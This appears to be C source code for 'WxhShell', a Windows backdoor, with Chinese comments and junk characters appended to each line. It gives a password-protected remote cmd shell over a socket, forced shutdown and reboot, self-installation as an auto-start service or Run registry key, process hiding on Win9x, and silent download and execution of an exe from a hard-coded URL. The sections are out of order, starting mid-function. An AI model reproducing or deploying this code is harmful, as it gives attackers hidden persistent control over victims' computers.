    } ~ILv*v@m  
  // 关机 >19s:+  
  case 'd': { \\#D!q*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5P"R'/[PA_  
    if(Boot(SHUTDOWN)) kaB|+U9^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n9}BT^4 v  
    else { 85q/|9D  
    closesocket(wsh); YRX^fZ-b  
    ExitThread(0); ,v>;/qm  
    } %\HPYnIe  
    break; 8Sj<,+XFq  
    } a'?;;ZC-  
  // 获取shell a(]&H "  
  case 's': { pka^7OWyN  
    CmdShell(wsh); ~1wt=Ln>  
    closesocket(wsh); tjb$MW$('  
    ExitThread(0); TZt;-t`  
    break; A%Ka)UU+n  
  } Pg(Y}Tu  
  // 退出 f(D'qV T{  
  case 'x': { uH%b rbrU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PR:B6 F8  
    CloseIt(wsh); A+* lV*@0  
    break; Mh-"B([Z  
    } [07E-TT2U  
  // 离开 zdrP56rzZ  
  case 'q': { D5@=#/?*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ofQs /  
    closesocket(wsh); O0L]xr  
    WSACleanup(); s)r !3HS  
    exit(1); 8^y=YUT  
    break; s_IFl5D]  
        } %"A8Af**I  
  } >,]a>V  
  } N wk  
)- &@ 8`  
  // 提示信息 t,|Apl]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =JzzrM|V*  
} E4892B:`  
  } ?96r7C|  
xOj#%;  
  return; v.Bwg 7R3  
} _.; PLq~0  
Yp;Z+!!UZ  
// shell模块句柄 scH61Y8`  
int CmdShell(SOCKET sock) /g{*px|  
{ 20|_wAA5  
STARTUPINFO si; pxTtV g.  
ZeroMemory(&si,sizeof(si)); ;QXg*GNAv$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IeYNTk &<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 49=pB,H;H  
PROCESS_INFORMATION ProcessInfo; }={@_g#  
char cmdline[]="cmd"; 8fP2qj0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +d\o|}c  
  return 0; 6GunEYK!N8  
} -^m?%_<50l  
6)uBUM;i  
// 自身启动模式 5tbCx!tL  
int StartFromService(void) 4uOR=+/l  
{ |JIlp"[  
typedef struct ZL<X* l2  
{ F8-GnT xa  
  DWORD ExitStatus; SED52$zA  
  DWORD PebBaseAddress; Wn@oG@}~  
  DWORD AffinityMask; 5WHz_'c  
  DWORD BasePriority; q@bye4Ry%W  
  ULONG UniqueProcessId; 'fU#v`i  
  ULONG InheritedFromUniqueProcessId; 6I"KomJ9  
}   PROCESS_BASIC_INFORMATION; h#r~2\q4ei  
Gkuqe3  
PROCNTQSIP NtQueryInformationProcess; Ip{R'HG/  
k+ t(u]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OXrm!'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iRsB|7v[,  
-z`FKej   
  HANDLE             hProcess; jSE)&K4nI  
  PROCESS_BASIC_INFORMATION pbi; gdf0  
gxVr1DIkN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (1D1;J4g  
  if(NULL == hInst ) return 0; A)]&L`s  
zb9G&'7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lg-_[!4Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' 9f0UtT|[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MN2i0!+  
=fRS UtX  
  if (!NtQueryInformationProcess) return 0; aJ(/r.1G  
Y`j$7!j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L'{W|Xb+  
  if(!hProcess) return 0; c<|y/n  
c rb^TuN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s oY\6mHio  
5/'Q0]4h  
  CloseHandle(hProcess); hxL?6mhY  
"ZGP,=?y2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,EEAxmf  
if(hProcess==NULL) return 0; R*:$^v@4  
n o<$=(11i  
HMODULE hMod; NRtH?&7  
char procName[255]; O^~IY/[  
unsigned long cbNeeded; 9$HKP9G  
h<%$?h+}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4u}Cki,vOK  
=_-u;w1D  
  CloseHandle(hProcess); akyMW7'3V<  
bp9RF d{  
if(strstr(procName,"services")) return 1; // 以服务启动 >p-UQc  
 6a,8t  
  return 0; // 注册表启动 n%F _ 3`  
} :%sBY0 yF  
pL{oVk#,  
// 主模块 D{B?2}X  
int StartWxhshell(LPSTR lpCmdLine) gEk;Tj  
{ {4 Yx h8  
  SOCKET wsl; Bz }nP9  
BOOL val=TRUE; %9>w|%+;U+  
  int port=0; $t%IJT  
  struct sockaddr_in door; z<55[~3  
fU|v[  
  if(wscfg.ws_autoins) Install(); .S|7$_9;b  
sn:VMHrOT  
port=atoi(lpCmdLine); j_g(6uZhz3  
j ^j"w(a  
if(port<=0) port=wscfg.ws_port; ly` A,dh  
{V>F69IU  
  WSADATA data; |-V:#1wR.]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &233QRYM  
M6p\QKi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9 o,` peH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o+.L@3RT4  
  door.sin_family = AF_INET; fPD.np}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ?P +Uv  
  door.sin_port = htons(port); ( /I6Wa  
L/jaUt[,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l-%] f]>  
closesocket(wsl); r gIWM"  
return 1; 8B*(P>  
} _$AM=?P &  
o~XK*f=(  
  if(listen(wsl,2) == INVALID_SOCKET) { A*DN/lG  
closesocket(wsl); D-{*3?x  
return 1; gPCf+>X{  
} aC}\`.Kb  
  Wxhshell(wsl); Cl&mz1Y;]1  
  WSACleanup(); 4E.9CjN1>  
^(:~8 h  
return 0; %l!A%fn(  
'EIe5O p  
} ra'/~^9  
/HRKw D  
// 以NT服务方式启动 EFC+7L(j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ni>Ns=n  
{ 60%nQhb  
DWORD   status = 0; n8Qv8  
  DWORD   specificError = 0xfffffff; op`9(=DJ]  
%}TJr]'F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "B: FSWM_-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [E p'm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rEWJ3*Hb  
  serviceStatus.dwWin32ExitCode     = 0; "yQBHYP  
  serviceStatus.dwServiceSpecificExitCode = 0; [mv? \HDa~  
  serviceStatus.dwCheckPoint       = 0; 9 3)fC  
  serviceStatus.dwWaitHint       = 0; ~!Sd|e:4  
2*75*EQCH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *>W<n1r@]  
  if (hServiceStatusHandle==0) return; 7T[$BrO\  
nPvys~D  
status = GetLastError(); >niv >+!N  
  if (status!=NO_ERROR) m?Y-1!E0  
{ ~RVlc;W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; < +*  
    serviceStatus.dwCheckPoint       = 0; =,zB|sjn  
    serviceStatus.dwWaitHint       = 0; PMTrG78p*  
    serviceStatus.dwWin32ExitCode     = status; Kfb(wW  
    serviceStatus.dwServiceSpecificExitCode = specificError; [j/|)cj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7_oUuNw  
    return; wuXQa wo  
  } H8w[{'Mei  
R*bx&..<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sPQj B[  
  serviceStatus.dwCheckPoint       = 0; S~:uOm2t\  
  serviceStatus.dwWaitHint       = 0; c"tlNf?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yQ/O[(  
} dUa>XkPa\2  
[4#HuO@h  
// 处理NT服务事件,比如:启动、停止 >;9g`d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q`p0ul,n  
{ )] q Qgc&  
switch(fdwControl) @@*x/"GJG  
{ `WH$rx!  
case SERVICE_CONTROL_STOP: n`Z}tQ%)o  
  serviceStatus.dwWin32ExitCode = 0; (!fx5&F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \Ebh6SRp\  
  serviceStatus.dwCheckPoint   = 0; b|AjB:G  
  serviceStatus.dwWaitHint     = 0; 'sZGLgT;m  
  { -KC@M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @}6<,;|DQ  
  } H,TApF89A  
  return; "=DQ {(L  
case SERVICE_CONTROL_PAUSE: #EUT"^:d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3\RD %[}  
  break; ;O)*!yA(GG  
case SERVICE_CONTROL_CONTINUE: e^ N~)Nlj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #"-_~  
  break; KH#z =_  
case SERVICE_CONTROL_INTERROGATE: JfkEJk<  
  break; ~9o@1TO:v  
}; _5S0A0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KC}G_"f.$  
} gnZ#86sO  
* ;sz/.  
// 标准应用程序主函数 6rbR0dSgx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %pjY^tM/  
{ @ ,oc%m  
fLs>|Rh  
// 获取操作系统版本 ]*zG*.C  
OsIsNt=GetOsVer(); Pteti  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sT1k]duT  
ffk >IOH  
  // 从命令行安装 Sydl[c pH$  
  if(strpbrk(lpCmdLine,"iI")) Install(); W3[>IH"+  
{f/]K GGk  
  // 下载执行文件 awR !=\  
if(wscfg.ws_downexe) { .BJoY <P*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^va +O  
  WinExec(wscfg.ws_filenam,SW_HIDE); j.6!T'$|  
} c[2ikI,n[  
G HQ~{  
if(!OsIsNt) { %?n=I n(F  
// 如果时win9x,隐藏进程并且设置为注册表启动 %|+aI?  
HideProc(); _YlyS )#@  
StartWxhshell(lpCmdLine); {i=V:$_#  
} EG^ rh;  
else #f(tzPD  
  if(StartFromService()) T\Xf0|y  
  // 以服务方式启动 #xx.yn(7  
  StartServiceCtrlDispatcher(DispatchTable); }.D18bE(  
else V?yQm4  
  // 普通方式启动 MPnMLUB$\  
  StartWxhshell(lpCmdLine); *PlKl_nP6  
Y>3zpeQ!&  
return 0; ;Egl8Vhr  
} 6I(Y<LZ5  
KW'nW  
,5<AV K-#Q  
`vzMuL;  
=========================================== x(sKkm`Q  
!otseI!!/  
>a*dI_XE  
M*n94L=Sg&  
;\}d QsX  
6@lZVM)E  
" VTR4uT-  
v(0ujfSR0  
#include <stdio.h> ;yqHt!N  
#include <string.h> cg^~P-i@*  
#include <windows.h> "4xo,JUf  
#include <winsock2.h> .= ~2"P  
#include <winsvc.h> ).GM 0-y  
#include <urlmon.h> TR*vZzoy  
0J[B3JO@M  
#pragma comment (lib, "Ws2_32.lib") oMYFfnoAa  
#pragma comment (lib, "urlmon.lib") A- m IWTa  
3%r/w7Fc  
#define MAX_USER   100 // 最大客户端连接数 PUD8  
#define BUF_SOCK   200 // sock buffer ~pH!.|k-&  
#define KEY_BUFF   255 // 输入 buffer sa<\nH$_X  
;~r-P$kCY  
#define REBOOT     0   // 重启 ]O:u9If  
#define SHUTDOWN   1   // 关机 }s?w-u+(c6  
?/T=G k  
#define DEF_PORT   5000 // 监听端口 a{e 2*V  
n|WSnm,W  
#define REG_LEN     16   // 注册表键长度 o3Yb2Nw  
#define SVC_LEN     80   // NT服务名长度 eu)""l  
;Q&9 t  
// 从dll定义API kLF3s#k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -4Dz9 8du  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s\~j,$Mm2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .KG9YGL#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D&K9!z"]  
2s,cyCw&  
// wxhshell配置信息 e/x 9@1s#  
struct WSCFG { Tt{X(I} J  
  int ws_port;         // 监听端口 GMZ6 dK  
  char ws_passstr[REG_LEN]; // 口令 "x]7 et,  
  int ws_autoins;       // 安装标记, 1=yes 0=no I m-M2n  
  char ws_regname[REG_LEN]; // 注册表键名 <]z4;~/&  
  char ws_svcname[REG_LEN]; // 服务名 IC"ktv bHz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $s ,g&7*-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 si~zg\uY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4W2.K0Ca  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <#"_Qgdix  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (gE<`b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6b2h\+AP  
!S7?:MJ?p\  
}; Z$c&Y>@)  
/g%RIzgW  
// default Wxhshell configuration 90F.9rh  
struct WSCFG wscfg={DEF_PORT, /Dc54U n  
    "xuhuanlingzhe", `=V1w4J  
    1, R)N^j'R~=  
    "Wxhshell", SR.xI:}4  
    "Wxhshell", G3!O@j!7w$  
            "WxhShell Service", K5bR7f:  
    "Wrsky Windows CmdShell Service", [giw(4m#y  
    "Please Input Your Password: ", "WmsBdO  
  1, oPBKPGD  
  "http://www.wrsky.com/wxhshell.exe", =B+dhZ+#S$  
  "Wxhshell.exe" Z= -fL  
    }; p|qLr9\A  
UWqiA`,  
// 消息定义模块 ]X7_ji(l,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .i?{h/9y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GHLFn~z@XJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BuAzO>=  
char *msg_ws_ext="\n\rExit."; !jEV75  
char *msg_ws_end="\n\rQuit."; "p+oi@  
char *msg_ws_boot="\n\rReboot..."; iM9k!u FE  
char *msg_ws_poff="\n\rShutdown..."; < fe.  
char *msg_ws_down="\n\rSave to "; T^+K`U  
>e.vUUQ{  
char *msg_ws_err="\n\rErr!"; yXtQfR  
char *msg_ws_ok="\n\rOK!"; E*tT^x)  
;InMgo,  
char ExeFile[MAX_PATH]; &'DR`e O)  
int nUser = 0; D8B\F5..c#  
HANDLE handles[MAX_USER]; ]RadwH"0!  
int OsIsNt; >D##94PZ  
h<'tQGC  
SERVICE_STATUS       serviceStatus; Kx[+$Qt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )B-[Q#*A-  
i*4v!(E  
// 函数声明 e50xcf1u  
int Install(void); 8eh3K8tL#  
int Uninstall(void); *\iXU//^)  
int DownloadFile(char *sURL, SOCKET wsh); tNqSCjQ~_c  
int Boot(int flag); J.g6<n  
void HideProc(void); x6\VIP"9L  
int GetOsVer(void); i(e=  
int Wxhshell(SOCKET wsl); 4 u0?[v[Hu  
void TalkWithClient(void *cs); 6_rgRo&  
int CmdShell(SOCKET sock); JX>`N5s  
int StartFromService(void); $%&OaAg  
int StartWxhshell(LPSTR lpCmdLine); [*C~BM  
|z@AvS[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y)(w&E>1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |yj0Rv  
wwR}h I(  
// 数据结构和表定义 ]<%NX $9\  
SERVICE_TABLE_ENTRY DispatchTable[] = gd%Ho8,T  
{ +g1+,?cU  
{wscfg.ws_svcname, NTServiceMain}, XMI5j7C L  
{NULL, NULL} F$|d#ny  
}; 8OS^3JS3"  
_\@zq*E  
// 自我安装 ,N_V(Cx5pt  
int Install(void) wLfH/J  
{ *[jq&  
  char svExeFile[MAX_PATH]; nD 4C $  
  HKEY key; |XQ\c.A  
  strcpy(svExeFile,ExeFile); DV({! [EP  
`4Z:qh+fJ  
// 如果是win9x系统,修改注册表设为自启动 NVom6K  
if(!OsIsNt) { z}r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z^/9YzA!6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lcy6G%A  
  RegCloseKey(key); AEFd,;GF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eAQ-r\h'2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z)3oiLmD  
  RegCloseKey(key); |hDN$By  
  return 0; FKf2Q&2I  
    } x>4p6H{]0'  
  } 3RlNEc%)  
} ZRr.kN+F  
else { ]haQ#e}WH  
'['x'G50  
// 如果是NT以上系统,安装为系统服务 g>b{hkIXg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 931GJA~g  
if (schSCManager!=0) o~xGE6A*"  
{ d,'gh4C  
  SC_HANDLE schService = CreateService 4] u\5K-  
  ( x],XiSyp  
  schSCManager, BoARM{m  
  wscfg.ws_svcname, 80gOh:  
  wscfg.ws_svcdisp, yS?5&oMl  
  SERVICE_ALL_ACCESS,  = ~*Vfx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u<Ch]m+  
  SERVICE_AUTO_START, &I{5f-o*  
  SERVICE_ERROR_NORMAL, 6pQo_l}  
  svExeFile, t="nmjQs  
  NULL, olHmRJ  
  NULL, NQOf\.#g  
  NULL, j(pe6  
  NULL,  Lo)T  
  NULL  ME5M;bz(  
  ); PyQ\O*  
  if (schService!=0) G ,`]2'(@  
  { &g8Xjx&zj  
  CloseServiceHandle(schService); 02:`Joy2D  
  CloseServiceHandle(schSCManager); v(uNqX.BC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @y eAM7  
  strcat(svExeFile,wscfg.ws_svcname); \^'-=8<*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9m"EY@-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XZTH[#MqeI  
  RegCloseKey(key); /Ea&Zm  
  return 0; eG dFupfz  
    } ).tTDZ   
  } h>z5m   
  CloseServiceHandle(schSCManager); tC/+  
} ) 2jH&}K  
} wr>6Go%  
'OU3-K  
return 1; x.I?)x!C'  
} @RdNAP_6  
DoN]v  
// 自我卸载 #,"[sag  
int Uninstall(void) yZmeke)_  
{ 6OtNWbB  
  HKEY key; *m'&<pg]X  
?|Wxqo  
if(!OsIsNt) { 95/;II  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h54\ \Ci  
  RegDeleteValue(key,wscfg.ws_regname); 9'vf2) "  
  RegCloseKey(key); vNm4xa%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }h sR}  
  RegDeleteValue(key,wscfg.ws_regname); =[TXH^.0  
  RegCloseKey(key); + =U9<8  
  return 0; zvv/|z2(r  
  } x_(K%0+Ca  
} k~QmDq  
} ,s,AkH  
else { [_C([o'\KY  
Ub wmn!~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w[^lxq  
if (schSCManager!=0) `0u)/s$  
{ 530Kk<%^}8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ' 1dhdm8  
  if (schService!=0) c11;(  
  { raMtTL+  
  if(DeleteService(schService)!=0) { 4Le{|B  
  CloseServiceHandle(schService); t<^7s9r;I  
  CloseServiceHandle(schSCManager); 3)(uC+?[  
  return 0; 7G Jhc  
  } 1 a%1C`d  
  CloseServiceHandle(schService); #A< |qd  
  } !H9zd\wc  
  CloseServiceHandle(schSCManager); LZJFp@  
} DKNcp8<J  
} #)%X0%9.*<  
&5%~Qw..  
return 1; +N|t:8qaf  
} ciCQe]fS  
FaaxfcIfkw  
// 从指定url下载文件 5E${  
int DownloadFile(char *sURL, SOCKET wsh) 8xoC9!xt  
{ K8v@)  
  HRESULT hr; a,xy3 8T<  
char seps[]= "/"; aMxM3"  
char *token; ABq#I'H#@2  
char *file; Ou|kb61zg  
char myURL[MAX_PATH]; uPb.uG  
char myFILE[MAX_PATH]; r;"Qu  
GCxmqoQ  
strcpy(myURL,sURL); }AS3]Lub@  
  token=strtok(myURL,seps); Bv 7os3xb  
  while(token!=NULL) bhW&,"$Z  
  { <^e  
    file=token; +rDKx(Rk  
  token=strtok(NULL,seps); [E qZj/  
  } H00iy$R  
QghL=  
GetCurrentDirectory(MAX_PATH,myFILE); H 9?txNea  
strcat(myFILE, "\\"); Jg6@)<n  
strcat(myFILE, file); D@ BP<   
  send(wsh,myFILE,strlen(myFILE),0); i\ )$  
send(wsh,"...",3,0); b,#?LdQ%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cfc=a  
  if(hr==S_OK) ypTH=]y  
return 0; Rvj[Csgi  
else U@LIw6B!KL  
return 1; iu`B8yI  
T^2o' _:  
} q9nQ/]rkHF  
MX|@x~9W  
// 系统电源模块 oe=W}y_k  
int Boot(int flag) VexQ ]  
{ (%4O\ s#l  
  HANDLE hToken; -]:1zU  
  TOKEN_PRIVILEGES tkp; r <2&_$|  
]OC?g2&6  
  if(OsIsNt) { O7f"8|=HX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *3y_FTh8ra  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H<l0]-S{  
    tkp.PrivilegeCount = 1; Mw6 Mt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ql_,U8Jw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #\6k_toZ  
if(flag==REBOOT) { yONX?cS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GP=bp_L  
  return 0; l0%7u  
} x!fRT.,}  
else { k.%FGn'fR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~01t_Xp qc  
  return 0;  [4mIww%  
} Ro#O{  
  } &M #}?@!C  
  else { oLt%i:,A  
if(flag==REBOOT) { $A)[s$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t<SCrLbz  
  return 0; ,d8*7my  
} *zv*T"&ZP  
else { 6KX/Yj~B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2))p B/  
  return 0; 1HeE$  
} 6I\4Yv$N  
} zoau5t  
!Ic~_7"  
return 1; p$$0**p!`  
} t'HrI-x  
,'@t .XP  
// win9x进程隐藏模块 Nkk+*(Z  
void HideProc(void) jB\Knxm v  
{ .:Zb~  
(l)r.Vj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jwbb>mB!  
  if ( hKernel != NULL ) F7`[r9 $  
  { T{*!.+E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W"5VqN6v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S8;5|ya  
    FreeLibrary(hKernel); T{lK$j  
  } O/fm/  
Y-]Ne"+vf  
return; vgKdhN2kI  
} >2#F5c67  
v<gve<]  
// 获取操作系统版本 BBj>ML\X  
int GetOsVer(void) 3Sn# M{wH  
{ Q'Y7PG9m~  
  OSVERSIONINFO winfo; DhiIKd9W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  9 -Xr  
  GetVersionEx(&winfo); (6i. >%|_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =la~D]T*g  
  return 1; ;2547b[ ]  
  else @E?o~jO(e  
  return 0; &xS] ;Fr  
} #$ ,b )Uy  
=m?x5G^  
// 客户端句柄模块 9*? i89T  
int Wxhshell(SOCKET wsl) ?Nl@K/  
{ {br6*  
  SOCKET wsh; y2>AbrJ  
  struct sockaddr_in client; \!4_m8?  
  DWORD myID; gLWbd~  
pUeok+k_  
  while(nUser<MAX_USER) l  !JTM  
{ )8V=!73  
  int nSize=sizeof(client); G4J)o?:m@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uVzvUz{b  
  if(wsh==INVALID_SOCKET) return 1; 2E@y0[C?  
,xy$h }g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eJ60@N\A  
if(handles[nUser]==0) `'b2 z=j  
  closesocket(wsh); 8 g3?@i  
else 1W{t?1[s  
  nUser++; R-1C#R[  
  } + y|Q7+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B5!|L)7>{p  
70N Lv  
  return 0; Eu$hC]w  
} q4Y7 HE|ym  
; r95i1a'  
// 关闭 socket Z4D[nPm$  
void CloseIt(SOCKET wsh) X=%e'P*X  
{ t+A9nvj)  
closesocket(wsh); B[;aNyd<  
nUser--; 6rN.)dL.#N  
ExitThread(0); [(Ihue  
} H ~lvUHN  
?l^NKbw  
// 客户端请求句柄 8]xYE19=  
void TalkWithClient(void *cs) S.*LsrSV  
{ _''9-t;n,  
nYy+5u]FG  
  SOCKET wsh=(SOCKET)cs; 8l >Xbz  
  char pwd[SVC_LEN]; 0uJ??4N9  
  char cmd[KEY_BUFF]; Z8\/Fb  
char chr[1]; |}wT/3>\  
int i,j; vg*~t3{L  
jXYjs8Iy  
  while (nUser < MAX_USER) { M^.>UZKyl  
{EyWSf"  
if(wscfg.ws_passstr) { y*#+:D]o*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mIv}%hD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wfQImCZ>l  
  //ZeroMemory(pwd,KEY_BUFF); P$&l1Mp  
      i=0; m tVoA8(6  
  while(i<SVC_LEN) { h<bCm`qj  
j-7aJj%  
  // 设置超时 8_T9[ ]7V8  
  fd_set FdRead; \n^;r|J7k  
  struct timeval TimeOut; > QG@P  
  FD_ZERO(&FdRead); pLtK:Z  
  FD_SET(wsh,&FdRead); O-qpB;|  
  TimeOut.tv_sec=8; P5&8^YV`N  
  TimeOut.tv_usec=0; nt*K@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `a9iq>   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); il$eO 7  
|P7FPmn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tiF-lq  
  pwd=chr[0]; %;b]k  
  if(chr[0]==0xd || chr[0]==0xa) { wnHfjF  
  pwd=0; aA'of>'ib|  
  break; D|IS@gWa  
  } __`6 W1  
  i++; S%df'bh$  
    } q5\iQ2f{WV  
#E#Fk3-ljQ  
  // 如果是非法用户,关闭 socket !k!1 h%7q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F[]6U/g n  
} >YR2h/S  
d^d+8R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _3q}K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zhc99L&K  
m[s$)-T  
while(1) { DC2[g9S>8@  
>FqU=Q  
  ZeroMemory(cmd,KEY_BUFF); T%w5%{dqJ  
Y-~ M kB  
      // 自动支持客户端 telnet标准   OOnhT  
  j=0; ;3+_aoY  
  while(j<KEY_BUFF) { @x_0AkZU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gpogv -  
  cmd[j]=chr[0]; c"/Hv  
  if(chr[0]==0xa || chr[0]==0xd) { 3(_:"?xA  
  cmd[j]=0; ,6SzW+L7  
  break; Ht|"91ZC5  
  } :}-izd)/j  
  j++; k zC4V  
    } ogJ *  
$>rKm  
  // 下载文件 D&G^|: G  
  if(strstr(cmd,"http://")) { \Yh*ywwP#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |g1Pr9{wy  
  if(DownloadFile(cmd,wsh)) z&CBjlh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXl|AA<OG  
  else t\f[->f  
